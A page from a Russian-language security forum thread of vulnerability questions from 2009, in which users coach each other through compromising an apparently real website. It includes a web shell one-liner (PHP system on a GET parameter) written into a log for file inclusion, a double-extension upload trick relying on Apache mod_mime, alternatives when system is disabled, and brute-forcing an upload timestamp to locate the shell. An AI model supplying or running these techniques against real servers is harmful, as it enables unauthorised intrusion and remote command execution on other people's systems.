ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 850 из 1393 « Первая < 350750800840 846 847 848 849 850 851 852 853 854 8609009501350 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #8491  
Старый 12.08.2009, 14:25
u36a
Познающий
Регистрация: 18.11.2008
Сообщений: 53
Провел на форуме:
170968

Репутация: 10
Отправить сообщение для u36a с помощью ICQ
По умолчанию
Цитата:
Сообщение от L I G A  
пробуй shell.php.flv
А что это даст, он же не будет интерпретироваться как пхп..
 
Ответить с цитированием

  #8492  
Старый 12.08.2009, 14:47
[Raz0r]
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме:
3244717

Репутация: 1980
Отправить сообщение для [Raz0r] с помощью ICQ
По умолчанию
Цитата:
А что это даст, он же не будет интерпретироваться как пхп..
Если апач с mod_mime, то будет
 
Ответить с цитированием

  #8493  
Старый 12.08.2009, 14:59
u36a
Познающий
Регистрация: 18.11.2008
Сообщений: 53
Провел на форуме:
170968

Репутация: 10
Отправить сообщение для u36a с помощью ICQ
По умолчанию
Цитата:
Сообщение от [Raz0r]  
Если апач с mod_mime, то будет
хорошо, спасибо, попробую.. просто как добавлять новости с файлом я тоже найти не могу..

Да и ещё там будет номер из цифр пяти-шести перед файлом, его тоже узнать как-то надо. =)

Ладно, буду пробывать, спасибо за эту инфу.
 
Ответить с цитированием

  #8494  
Старый 12.08.2009, 15:00
PaCo
Постоянный
Регистрация: 06.02.2008
Сообщений: 494
Провел на форуме:
1754802

Репутация: 380
По умолчанию
Цитата:
Сообщение от [Raz0r]  
Если апач с mod_mime, то будет
Наверно стоило бы уточнить что сначало надо соответствуюший AddType(AddHandler) добавить - а то сейчас человека можно запутать.
Последний раз редактировалось PaCo; 12.08.2009 в 15:05..
 
Ответить с цитированием

  #8495  
Старый 12.08.2009, 15:28
Qwazar
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912

Репутация: 4693


По умолчанию
Цитата:
Сообщение от PaCo  
Наверно стоило бы уточнить что сначало надо соответствуюший AddType(AddHandler) добавить - а то сейчас человека можно запутать.
Наоборот, хендлер для .flv НЕ должен быть прописан.
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.
 
Ответить с цитированием

  #8496  
Старый 12.08.2009, 16:01
RazyKK
Познающий
Регистрация: 09.02.2009
Сообщений: 70
Провел на форуме:
393885

Репутация: 34
По умолчанию
записал в лог <?php system($_GET[cmd]); ?> хотел копировать в tmp а потом уже инклудить,но опять ошибка))
Parse error: syntax error, unexpected '['
как это закомментировать?
 
Ответить с цитированием

  #8497  
Старый 12.08.2009, 16:06
Qwazar
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912

Репутация: 4693


По умолчанию
Пиши в лог
PHP код:
<?php system($_GET[cmd]);/*
Но лучше вместо system - eval, он заработает, если system запрещён.
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.
 
Ответить с цитированием

  #8498  
Старый 12.08.2009, 16:11
RazyKK
Познающий
Регистрация: 09.02.2009
Сообщений: 70
Провел на форуме:
393885

Репутация: 34
По умолчанию
уже пробовал eval ,undefind function
system не запрещен,в логе ls уже выполнилось
 
Ответить с цитированием

  #8499  
Старый 12.08.2009, 19:51
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию
Попробуй exec вместо eval.
 
Ответить с цитированием

  #8500  
Старый 12.08.2009, 20:07
Scipio
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
Провел на форуме:
5939734

Репутация: 1917


Отправить сообщение для Scipio с помощью ICQ
По умолчанию
Цитата:
Сообщение от u36a  
хорошо, спасибо, попробую.. просто как добавлять новости с файлом я тоже найти не могу..

Да и ещё там будет номер из цифр пяти-шести перед файлом, его тоже узнать как-то надо. =)

Ладно, буду пробывать, спасибо за эту инфу.
это timestamp, запоминай время заливки файла переводи в unixtime и напиши брутер который который этот timestamp подберет, только вот из-за .htaccess наверное ничего не выйдет с шеллом
__________________
Карфаген должен быть разрушен...
 
Ответить с цитированием
Ответ
Страница 850 из 1393 « Первая < 350750800840 846 847 848 849 850 851 852 853 854 8609009501350 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ